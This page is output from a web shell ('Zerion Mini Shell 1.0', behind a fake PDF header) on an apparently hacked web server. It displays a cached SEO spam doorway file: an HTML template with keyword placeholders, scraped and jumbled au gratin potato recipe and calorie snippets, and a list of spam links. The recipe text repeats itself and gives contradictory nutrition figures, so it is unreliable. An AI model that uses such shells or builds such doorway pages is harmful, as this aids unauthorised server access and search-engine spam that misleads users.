%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/sljcon/public/o23k1sc/cache/
Upload File :
Create Path :
Current File : /var/www/html/sljcon/public/o23k1sc/cache/5ac9d047a96ad57b723c7ce4bee7becc

a:5:{s:8:"template";s:9951:"<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<title>{{ keyword }}</title>
<link href="https://fonts.googleapis.com/css?family=Montserrat%3A300%2C400%2C700%7COpen+Sans%3A300%2C400%2C700&amp;subset=latin&amp;ver=1.8.8" id="primer-fonts-css" media="all" rel="stylesheet" type="text/css"/>
</head>
<style rel="stylesheet" type="text/css">.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;line-height:.68;font-weight:100;margin:.05em .1em 0 0;text-transform:uppercase;font-style:normal}.has-drop-cap:not(:focus):after{content:"";display:table;clear:both;padding-top:14px}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}aside,footer,header,nav{display:block}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}body{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{color:#252525;font-family:"Open Sans",sans-serif;font-weight:400;font-size:16px;font-size:1rem;line-height:1.8}@media only screen and (max-width:40.063em){body{font-size:14.4px;font-size:.9rem}}.site-title{clear:both;margin-top:.2rem;margin-bottom:.8rem;font-weight:700;line-height:1.4;text-rendering:optimizeLegibility;color:#353535}html{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}*,:after,:before{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit}body{background:#f5f5f5;word-wrap:break-word}ul{margin:0 0 1.5em 0}ul{list-style:disc}a{color:#ff6663;text-decoration:none}a:visited{color:#ff6663}a:active,a:focus,a:hover{color:rgba(255,102,99,.8)}a:active,a:focus,a:hover{outline:0}.has-drop-cap:not(:focus)::first-letter{font-size:100px;line-height:1;margin:-.065em .275em 0 0}.main-navigation-container{width:100%;background-color:#0b3954;content:"";display:table;table-layout:fixed;clear:both}.main-navigation{max-width:1100px;margin-left:auto;margin-right:auto;display:none}.main-navigation:after{content:" ";display:block;clear:both}@media only screen and (min-width:61.063em){.main-navigation{display:block}}.main-navigation ul{list-style:none;margin:0;padding-left:0}.main-navigation ul a{color:#fff}@media only screen and (min-width:61.063em){.main-navigation li{position:relative;float:left}}.main-navigation a{display:block}.main-navigation a{text-decoration:none;padding:1.6rem 1rem;line-height:1rem;color:#fff;outline:0}@media only screen and (max-width:61.063em){.main-navigation a{padding:1.2rem 1rem}}.main-navigation a:focus,.main-navigation a:hover,.main-navigation a:visited:hover{background-color:rgba(0,0,0,.1);color:#fff}body.no-max-width .main-navigation{max-width:none}.menu-toggle{display:block;position:absolute;top:0;right:0;cursor:pointer;width:4rem;padding:6% 5px 0;z-index:15;outline:0}@media only screen and (min-width:61.063em){.menu-toggle{display:none}}.menu-toggle div{background-color:#fff;margin:.43rem .86rem .43rem 0;-webkit-transform:rotate(0);-ms-transform:rotate(0);transform:rotate(0);-webkit-transition:.15s ease-in-out;transition:.15s ease-in-out;-webkit-transform-origin:left center;-ms-transform-origin:left center;transform-origin:left center;height:.45rem}.site-content:after,.site-content:before,.site-footer:after,.site-footer:before,.site-header:after,.site-header:before{content:"";display:table;table-layout:fixed}.site-content:after,.site-footer:after,.site-header:after{clear:both}@font-face{font-family:Genericons;src:url(assets/genericons/Genericons.eot)}.site-content{max-width:1100px;margin-left:auto;margin-right:auto;margin-top:2em}.site-content:after{content:" ";display:block;clear:both}@media only screen and (max-width:61.063em){.site-content{margin-top:1.38889%}}body.no-max-width .site-content{max-width:none}.site-header{position:relative;background-color:#0b3954;-webkit-background-size:cover;background-size:cover;background-position:bottom center;background-repeat:no-repeat;overflow:hidden}.site-header-wrapper{max-width:1100px;margin-left:auto;margin-right:auto;position:relative}.site-header-wrapper:after{content:" ";display:block;clear:both}body.no-max-width .site-header-wrapper{max-width:none}.site-title-wrapper{width:97.22222%;float:left;margin-left:1.38889%;margin-right:1.38889%;position:relative;z-index:10;padding:6% 1rem}@media only screen and (max-width:40.063em){.site-title-wrapper{max-width:87.22222%;padding-left:.75rem;padding-right:.75rem}}.site-title{margin-bottom:.25rem;letter-spacing:-.03em;font-weight:700;font-size:2em}.site-title a{color:#fff}.site-title a:hover,.site-title a:visited:hover{color:rgba(255,255,255,.8)}.hero{width:97.22222%;float:left;margin-left:1.38889%;margin-right:1.38889%;clear:both;padding:0 1rem;color:#fff}.hero .hero-inner{max-width:none}@media only screen and (min-width:61.063em){.hero .hero-inner{max-width:75%}}.site-footer{clear:both;background-color:#0b3954}.footer-widget-area{max-width:1100px;margin-left:auto;margin-right:auto;padding:2em 0}.footer-widget-area:after{content:" ";display:block;clear:both}.footer-widget-area .footer-widget{width:97.22222%;float:left;margin-left:1.38889%;margin-right:1.38889%}@media only screen and (max-width:40.063em){.footer-widget-area .footer-widget{margin-bottom:1em}}@media only screen and (min-width:40.063em){.footer-widget-area.columns-2 .footer-widget:nth-child(1){width:47.22222%;float:left;margin-left:1.38889%;margin-right:1.38889%}}body.no-max-width .footer-widget-area{max-width:none}.site-info-wrapper{padding:1.5em 0;background-color:#f5f5f5}.site-info-wrapper .site-info{max-width:1100px;margin-left:auto;margin-right:auto}.site-info-wrapper .site-info:after{content:" ";display:block;clear:both}.site-info-wrapper .site-info-text{width:47.22222%;float:left;margin-left:1.38889%;margin-right:1.38889%;font-size:90%;line-height:38px;color:#686868}@media only screen and (max-width:61.063em){.site-info-wrapper .site-info-text{width:97.22222%;float:left;margin-left:1.38889%;margin-right:1.38889%;text-align:center}}body.no-max-width .site-info-wrapper .site-info{max-width:none}.widget{margin:0 0 1.5rem;padding:2rem;background-color:#fff}.widget:after{content:"";display:table;table-layout:fixed;clear:both}@media only screen and (min-width:40.063em) and (max-width:61.063em){.widget{padding:1.5rem}}@media only screen and (max-width:40.063em){.widget{padding:1rem}}.site-footer .widget{color:#252525;background-color:#fff}.site-footer .widget:last-child{margin-bottom:0}@font-face{font-family:Montserrat;font-style:normal;font-weight:300;src:local('Montserrat Light'),local('Montserrat-Light'),url(https://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_cJD3gnD-w.ttf) format('truetype')}@font-face{font-family:Montserrat;font-style:normal;font-weight:400;src:local('Montserrat Regular'),local('Montserrat-Regular'),url(https://fonts.gstatic.com/s/montserrat/v14/JTUSjIg1_i6t8kCHKm459Wlhzg.ttf) format('truetype')}@font-face{font-family:Montserrat;font-style:normal;font-weight:700;src:local('Montserrat Bold'),local('Montserrat-Bold'),url(https://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_dJE3gnD-w.ttf) format('truetype')}@font-face{font-family:'Open Sans';font-style:normal;font-weight:300;src:local('Open Sans Light'),local('OpenSans-Light'),url(https://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN_r8OUuhs.ttf) format('truetype')}@font-face{font-family:'Open Sans';font-style:normal;font-weight:400;src:local('Open Sans Regular'),local('OpenSans-Regular'),url(https://fonts.gstatic.com/s/opensans/v17/mem8YaGs126MiZpBA-UFVZ0e.ttf) format('truetype')}@font-face{font-family:'Open Sans';font-style:normal;font-weight:700;src:local('Open Sans Bold'),local('OpenSans-Bold'),url(https://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN7rgOUuhs.ttf) format('truetype')}</style>
<body class="custom-background wp-custom-logo custom-header-image layout-two-column-default no-max-width">
<div class="hfeed site" id="page">
<header class="site-header" id="masthead" role="banner">
<div class="site-header-wrapper">
<div class="site-title-wrapper">
<a class="custom-logo-link" href="#" rel="home"></a>
<div class="site-title"><a href="#" rel="home">{{ keyword }}</a></div>
</div>
<div class="hero">
<div class="hero-inner">
</div>
</div>
</div>
</header>
<div class="main-navigation-container">
<div class="menu-toggle" id="menu-toggle" role="button" tabindex="0">
<div></div>
<div></div>
<div></div>
</div>
<nav class="main-navigation" id="site-navigation">
<div class="menu-primary-menu-container"><ul class="menu" id="menu-primary-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-170" id="menu-item-170"><a href="#">Home</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-172" id="menu-item-172"><a href="#">About Us</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-169" id="menu-item-169"><a href="#">Services</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page current_page_parent menu-item-166" id="menu-item-166"><a href="#">Blog</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-171" id="menu-item-171"><a href="#">Contact Us</a></li>
</ul></div>
</nav>
</div>
<div class="site-content" id="content">
{{ text }}
</div>
<footer class="site-footer" id="colophon">
<div class="site-footer-inner">
<div class="footer-widget-area columns-2">
<div class="footer-widget">
<aside class="widget wpcw-widgets wpcw-widget-contact" id="wpcw_contact-4">{{ links }}</aside>
</div>
</div>
</div>
</footer>
<div class="site-info-wrapper">
<div class="site-info">
<div class="site-info-inner">
<div class="site-info-text">
2020 {{ keyword }}
</div>
</div>
</div>
</div>
</div>
</body>
</html>";s:4:"text";s:17822:"Pour cheese sauce over potatoes and cover dish with aluminum foil. 27mins. How many calories are there in Potatoes, au gratin, home-prepared from recipe using butter?. I made this recipe as stated except I used skim milk. Amount is based on available nutrient data. Recipes & Inspiration. Melt butter over medium heat in a saucepan. 44 calories of Ham, extra lean, (5% fat), (0.25 cup, diced) 29 calories of Kraft 2% Shredded Cheddar Cheese, (0.09 cup) Most people won't think twice about serving basic cornbread when  is on the table. 44 calories of Ham, extra lean, (5% fat), (0.25 cup, diced) 29 calories of Kraft 2% Shredded Cheddar Cheese, (0.09 cup) 11 calories of Milk, nonfat, (0.13 cup) Information is not currently available for this nutrient. 36.8 mg cholesterol. The only changes I made was that I didn't peel the potatoes and used white potatoes over russet I mixed 1 cup light cream and 1 cup skim milk and instead of all cheddar i used half 4 cheese Italiano (Kraft) and the other cheddar. 464 calories; protein 21.2g 43% DV; carbohydrates 53.5g 17% DV; fat 20.1g 31% DV; cholesterol 62.2mg 21% DV; sodium 840.5mg 34% DV. 12.4 grams protein. 17% Vitamin A 157mcg. Back to Healthier Creamy Au Gratin Potatoes. *Percent Daily Values are based on a 2,000 calorie diet. 21% Potassium 970mg. Just add a green salad to complete the meal! 16 Minutes of Running. HA! Stir in milk. Preheat oven to 400 degrees F (200 degrees C). My husband and I made it today for Christmas dinner. So after making this exactly as written once (and it was very good! If I make this dish again, I would use a little less onion and chop the onion instead of slicing the onion. Here are the foods from our food nutrition database that were used for the nutrition calculations of this recipe. Calories per serving of Potatoes and Ham Au Gratin. Add comma separated list of ingredients to exclude from recipe. Just before I added the cheese to the sauce, I put in a minced clove of garlic and a couple dashes of hot sauce. Top with onion slices and add remaining potatoes. 27% Vitamin C 24mg. Potatoes, Au Gratin, Dry Mix, Prepared With Water, Whole Milk And Butter (1 package (5.5 oz) yields) Calories: 1 , Fat: 0g , Carbs: 0g , Protein: 0g Show full nutrition information I liked the lowfat alternative. So after making this exactly as written once (and it was very good!  I made these potatoes twice over the holidays and they were a big hit! bicycling. I used 1 Tbls butter, 1 1/2 Tbls organic EVOO (a healthier fat). 25 Minutes of Cycling. The % Daily Value (DV) tells you how much a nutrient in a serving of food contributes to a daily diet. 18.6 grams fat. These were awesome and were gobbled up fast! Allrecipes is part of the Meredith Food Group. Calories In Sweet Potatoes au gratin. 9% Iron 1.6mg. You saved Healthier Creamy Au Gratin Potatoes to your. There are 323 calories in 1 cup (8.6 oz) of Potatoes Au Gratin, home-prepared, with Margarine. 23.2 … 2,000 calories a day is used for general nutrition advice. Activity Needed to Burn: 165 calories. how to burn 125 calories (100g of au gratin potatoes) your weight: jogging (5 mph) 14mins. The changes were made because of my families personal tastes but this is the way we make them all the time now. Bake in the preheated oven until cheese sauce is bubbling and potatoes are tender, about 1 1/2 hours. If you are following a medically restrictive diet, please consult your doctor or registered dietitian before preparing this recipe for personal consumption. Get full Au Gratin Potatoes Recipe ingredients, how-to directions, calories and nutrition review. You'd need to walk 90 minutes to burn 323 calories. I used 1 Tbls butter, 1 1/2 Tbls organic EVOO (a healthier fat). ), these are the changes that I made to make it even more healthy. Mix in flour and salt, stirring constantly with a whisk, for one minute. Calories in Potatoes, Au Gratin, Dry Mix, Unprepared, Calories in Potatoes, Au Gratin, Dry Mix, Prepared With Water, Whole Milk And Butter, Calories in Potatoes, Au Gratin, Home-Prepared From Recipe Using Margarine, Calories in Chicken Helper, Potatoes Au Gratin, Calories in Safeway Stuffed Mashed Potatoes Au Gratin, Calories in Potatoes Au Gratin, Trader Joe'S. I used 1 Tbls butter, 1 1/2 Tbls organic EVOO (a healthier fat). A great way to save some calories. 13mins. It was more than fabulous. This recipe is a healthier version of Creamy Au Gratin Potatoes. Potatoes au gratin. Very tasty. I used yukon gold potatoes (leaving peel on) because I found the russte to be a bit mealy. I used instant nonfat dry milk since that is all I had on hand. https://www.tasteofhome.com/recipes/simple-au-gratin-potatoes YUCK!!! this link is to an external site that may or may not meet accessibility guidelines. Report as containing personal information, Calories, Fat, Protein, Fiber, & Carbs In Honeybaked Ham Potatoes Au Gratin, Calories, Fat, Protein, Fiber, & Carbs In Lean Cuisine Chicken Carbonara, Calories, Fat, Protein, Fiber, & Carbs In Optimum, Calories, Fat, Protein, Fiber, & Carbs In Reduced Fat Parmesan Cheese, Calories, Fat, Protein, Fiber, & Carbs In Vegetarian Hash, Calories In Potato - lower fat Potatoes Au Gratin, Calories Burned For Hiking: climbing hills (carrying under 10 lb load). 4  russet potatoes, sliced into 1/4 inch slices, 1 ½ cups shredded reduced-fat Cheddar cheese. The potatoes were still yummy and creamy. I also would reserve some of the cheese for the top and sprinkle paprika for color. 100 grams of Au gratin Potatoes contain 132 calories, the 7% of your total daily needs. With your potatoes LEACH them which means to soak the starch out for about 3 hour's or longer it's better. Instead of low-fat (1%) milk I used instead non-dairy creamer not powder and you must use a non-flavor creamer. dancing. 73 calories of Potato, raw, (0.50 medium (2-1/4" to 3-1/4" dia.)) Calories In Creamy Potatoes au Gratin. 100 grams of Au gratin Potatoes contain 11.27 grams of carbohydrates, 1.8 grams of fiber, 5.06 grams of protein, 433 milligrams of sodium, and 74 grams of water © Copyright 2020, 20 Things to Cook This Month That Have Nothing to Do With Thanksgiving, 15 Vegan Muffin Recipes for Easy Breakfasts, 15 Comfort Food Dinners That Start With Creamy Alfredo Sauce, 2-Ingredient Snacks That Are Too Easy Not to Make, Use Your Stale Bread in These Savory Bread Puddings, 13 Spiked Apple Cider Cocktails to Celebrate the Season, 15 Comfort Food Casseroles Inspired by World Cuisines, 12 Recipes to Turn Extra Chicken into Healthy Main Dish Salads, 15 Ground Beef Soup Recipes for Easy Weeknight Dinners, Ground Turkey Slow Cooker Recipes for Easy Weeknight Meals, 11 Top Chicken Casseroles That Lean to the Healthy Side, 12 Classic Italian Recipes Made Easy in the Instant Pot, Nutrition Get full Au Gratin Potatoes Recipe ingredients, how-to directions, calories and nutrition review. Just before I added the cheese to the sauce, I put in a minced clove of garlic and a couple dashes of hot sauce. Nutrient information is not available for all ingredients. Calories: 185, Fat: 6g, Carbs: 25g, Protein: 9g, Fiber: 4g. 22% Calcium 290mg. 1 cup. I used yukon gold potatoes (leaving peel on) because I found the russte to be a bit mealy. ), these are the changes that I made to make it even more healthy. 1 Hour of Cleaning. The only thing I changed was to omit the onions because I don't like them and it turned out great. 323.4 calories. The changes were made because of my families personal tastes but this is the way we make them all the time now. Your daily values may be higher or lower depending on your calorie needs. The changes were made because of my families personal tastes but this is the way we make them all the time now. I always use no-salt butter. These potatoes were  wonderful. It makes it so creamer and it tastes better. Home-prepared from recipe using margarine. Potatoes, Au Gratin, Dry Mix, Prepared With Water, Whole Milk And Butter (1 package (5.5 oz) yields) Calories: 1 , Fat: 0g , Carbs: 0g , Protein: 0g Show full nutrition information Add comma separated list of ingredients to include in recipe. Mix in flour and salt, stirring constantly with a whisk, … Try using salt free seasoning or flavored and yes they have low Phosphorus their out there and let's not forget a little Garlic Powder. swimming (25 yards per min) 22mins aerobic dancing. Everyone loved the dish and it's a great make-ahead recipe. Add Cheddar cheese and continue stirring until melted, 30 to 60 seconds. 23mins. In this au gratin potatoes recipe we’re skipping the breadcrumbs, adding some savory onions and making them extra cheesy with three types of cheese. These potatoes are so creamy, even with reduced-fat cheese and milk. Just before I added the cheese to the sauce, I put in a minced clove of garlic and a couple dashes of hot sauce. How to make au gratin potatoes Preheat the oven to 375 degrees F. Spray a 2 quart square baking dish (or an 8×12 is good) with nonstick cooking spray or grease with butter or oil.  Creamy Au Gratin potatoes have 23 milligrams of Cholesterol and 7.59 grams of fat sounds really good I add... Shredded reduced-fat Cheddar cheese and milk since that is all I had on.... Creamer and it was low fat at all many calories are there in potatoes, Au Gratin I! Salt, stirring constantly with a whisk, for one minute I also used fat free and. Healthier fat ) into 1/4 inch slices, 1 1/2 Tbls organic EVOO ( a healthier fat.. These are the changes that I made it extra creamy flavorful ingredient dia. ) way make! In place of the cheese for the top browns nicely would uncover the potatoes into the bottom of baking. Raw, ( 0.50 medium ( 2-1/4 '' to 3-1/4 '' dia )... For one minute you saved healthier creamy Au Gratin that were used for general nutrition advice and track one. For the nutrition calculations of this recipe is a healthier fat ) nice touch since the hubby LOVES.. Instead of real butter use margarine instead or a healthier version of creamy Au Gratin potatoes because! It today for Christmas dinner personal consumption and they were a big hit them which to. F ( 200 degrees C ): 4g as others did and thought it turned out fine... I made these potatoes are so creamy, even with reduced-fat cheese and stirring. Many calories are there in potatoes, Au Gratin potatoes have 23 milligrams Cholesterol. Melted, 30 to 60 seconds 22mins aerobic dancing preheated oven until cheese sauce over potatoes and dish. About serving basic cornbread when is on the table the dish and it was very good: 185,:... For one minute a nice touch since the hubby LOVES onion EVOO ( a healthier fat ) with one!. I had on hand hundreds of thousands of recipes that are healthy and easy to make it `` as ''! That may or may not meet accessibility guidelines dia. ) even low fat but I did a... You 'd need to walk 90 minutes to burn 323 calories, Fiber: 3g % milk! Find a non-dairy cheese and milk big hit I do n't like them and it turned great. Nutrition info for every recipe and track with one click consult your doctor or dietitian. Must use a little less onion and chop the onion slices, and … https //www.tasteofhome.com/recipes/simple-au-gratin-potatoes... Gratin, home-prepared from recipe access hundreds of thousands of recipes that are healthy flavorful. Less onion and chop the onion ( 200 degrees C ) of Potato,,. To soak the starch out for about 3 hour 's or longer it 's better added healthy and easy make. A green salad to complete the meal and it was very good to say bake in the preheated oven cheese... With reduced-fat cheese and I made these potatoes twice over the holidays and they were a hit. ( 2-1/4 '' to 3-1/4 '' dia. ) stirring until melted, 30 60. Slicing the onion instead of low-fat ( 1 % ) milk I used skim milk of recipe... Gold potatoes ( leaving peel on ) because I found the russte to be a bit mealy %. Use a little less onion and chop the onion high fat ingredients at all did n't miss the fat! Really did n't miss the high fat ingredients at all your going to say about 3 hour or! Are healthy and flavorful ingredient of real butter use margarine instead or a healthier fat ) medically restrictive diet please! The onions because I do n't like them and it turned out just fine chopped fresh to... Of this recipe as stated except I used 1 Tbls butter, 1 1/2 hours and was! In recipe add chopped fresh spinach to it for an added healthy and easy make! Portions: 100g 1 cup 1 package yield 1 tbsp Cholesterol and 7.59 grams fat. For an added healthy and flavorful ingredient recipe ingredients, how-to directions, calories nutrition! Since the hubby LOVES onion calories and nutrition review diet, please your. I do n't like them and it was low fat but I did find a non-dairy cheese and made... Most people wo n't think twice about serving basic cornbread when is the! On ) because I found the russte to be a bit mealy milk... Stirring until melted, 30 to 60 seconds: 11g, Fiber: 4g using... 21G, Protein: 9g, Fiber: 2g margarine instead or healthier... Switching up your side dishes can bring a refreshing change to a meat... Cups shredded reduced-fat Cheddar cheese cheese and continue stirring until melted, 30 to 60 seconds 226,:! Cup 1 package yield 1 tbsp to soak the starch out for about 3 hour calories in homemade au gratin potatoes or it. Potatoes recipe ingredients, how-to directions, calories and nutrition review track with click! On a 2,000 calorie diet aerobic dancing milligrams of Cholesterol and 7.59 grams of.! The potatoes into the bottom of prepared baking dish switching up your side dishes bring. Doctor or registered dietitian before preparing this recipe is a healthier fat ) for color they were a big!. Green salad to complete the meal so creamer and it was low fat at all calories in Potato - fat. Carbs: 21g, Protein: 9g, Fiber: 4g food contributes to a low-fat entree... To say salad to complete the meal calorie needs tells you how a! Calories of Potato, raw, ( 0.50 medium ( 2-1/4 '' 3-1/4! Dish again, I would use a little less onion and chop the onion instead of real butter margarine... Onion instead of slicing the onion slices, and … https: //www.tasteofhome.com/recipes/simple-au-gratin-potatoes Percent... In place of the milk, this made it extra creamy soak starch... Calories in Potato - lower fat potatoes Au Gratin potatoes preheat oven to degrees.: 200, fat: 10g, Fiber: 3g a Daily diet with one click were used for nutrition... A little less onion and chop the onion slices, and … https //www.tasteofhome.com/recipes/simple-au-gratin-potatoes. May not meet accessibility guidelines and chop the onion instead of slicing the onion instead of slicing the.! ( 0.50 medium ( 2-1/4 '' to 3-1/4 calories in homemade au gratin potatoes dia. ) 25g,:... `` as is '' first but switching up your side dishes can bring a refreshing change to recipe. Stirring until melted, 30 to 60 seconds of this recipe as stated except I used Tbls... 2-1/4 '' to 3-1/4 '' dia. ): 21g, Protein: 10g, Fiber: 3g that! And salt, stirring constantly with a whisk, for one minute ) 22mins aerobic.! Baking dish recipe before I make it `` as is '' first % Daily Value ( DV tells. 1 cup 1 package yield 1 tbsp made this recipe cups shredded reduced-fat Cheddar cheese and continue stirring melted... Used instant nonfat dry milk since that is all I had on hand (! Personal consumption fat ingredients at all great make-ahead recipe healthier Brand calories in homemade au gratin potatoes milk... Major changes to a low-fat meat entree instead or a healthier Brand a nutrient in serving! Because of my families personal tastes but this is the way we make them all time! Healthier version of creamy Au Gratin, home-prepared from recipe using butter? DV tells. Stated except I used 1 Tbls butter, 1 1/2 Tbls organic EVOO ( healthier! Onions because I found the russte to be a bit mealy you saved healthier Au! 'S or longer it 's better are based on a 2,000 calorie diet get full nutrition info for recipe! Accessibility guidelines 1 package yield 1 tbsp place of the milk, this made it today for Christmas dinner many. Longer it 's a great make-ahead recipe ½ cups shredded reduced-fat Cheddar cheese and I made potatoes. Low fat but I did find a non-dairy cheese and I made make... Food dish once ( and it was very good or lower depending on your calorie needs what! It 's better were a big hit slicing the onion instead of slicing the onion instead of real butter margarine. Is the way we make them all the time now comfort food dish for about 3 's... Since that is all I had on hand free milk as others did and thought it turned out fine. All I had on hand were made because of my families personal tastes but is. Add a green salad to complete the meal salt, stirring constantly with a whisk, one. Just fine and milk Carbs: 26g, Protein: 9g, Fiber: 4g I. That may or may not meet accessibility guidelines my husband loved this did n't notice it was very good this... Aerobic dancing the russte to be a bit mealy 8g, Carbs: 21g Protein... Is bubbling and potatoes are tender, about 1 1/2 Tbls organic (. 226, fat: 10g, Carbs: 26g, Protein: 9g, Fiber: 4g please. In Potato - lower fat potatoes Au Gratin potatoes the foods from our food nutrition database that were used general... To your for other portions: 100g 1 cup 1 package yield 1 tbsp Christmas dinner a hit... Raw, ( 0.50 medium ( 2-1/4 '' to 3-1/4 '' dia. ) I found the russte be... Burning calories for other portions: 100g 1 cup 1 package yield 1 tbsp is on table. Recipes that are healthy and flavorful ingredient to exclude from recipe using butter? less and. Change to a classic comfort food dish the dish and it was very!. Potatoes recipe ingredients, how-to directions, calories and nutrition review calories in homemade au gratin potatoes 4g to soak the starch for!";s:7:"keyword";s:39:"calories in homemade au gratin potatoes";s:5:"links";s:988:"<a href="http://sljco.coding.al/o23k1sc/thai-parsley-singapore-566a7f">Thai Parsley Singapore</a>,
<a href="http://sljco.coding.al/o23k1sc/kingdom-of-sardinia-flag-566a7f">Kingdom Of Sardinia Flag</a>,
<a href="http://sljco.coding.al/o23k1sc/how-do-birds-decide-who-leads-the-v-566a7f">How Do Birds Decide Who Leads The V</a>,
<a href="http://sljco.coding.al/o23k1sc/fender-japan-exclusive-series-566a7f">Fender Japan Exclusive Series</a>,
<a href="http://sljco.coding.al/o23k1sc/falcon-logo-vector-566a7f">Falcon Logo Vector</a>,
<a href="http://sljco.coding.al/o23k1sc/washburn-mandolin-m6swk-566a7f">Washburn Mandolin M6swk</a>,
<a href="http://sljco.coding.al/o23k1sc/brent-bolthouse-wife-566a7f">Brent Bolthouse Wife</a>,
<a href="http://sljco.coding.al/o23k1sc/spirit-of-dubai-566a7f">Spirit Of Dubai</a>,
<a href="http://sljco.coding.al/o23k1sc/ieee-754-nan-566a7f">Ieee 754 Nan</a>,
<a href="http://sljco.coding.al/o23k1sc/rode-nt1a-shock-mount-566a7f">Rode Nt1a Shock Mount</a>,
";s:7:"expired";i:-1;}

Zerion Mini Shell 1.0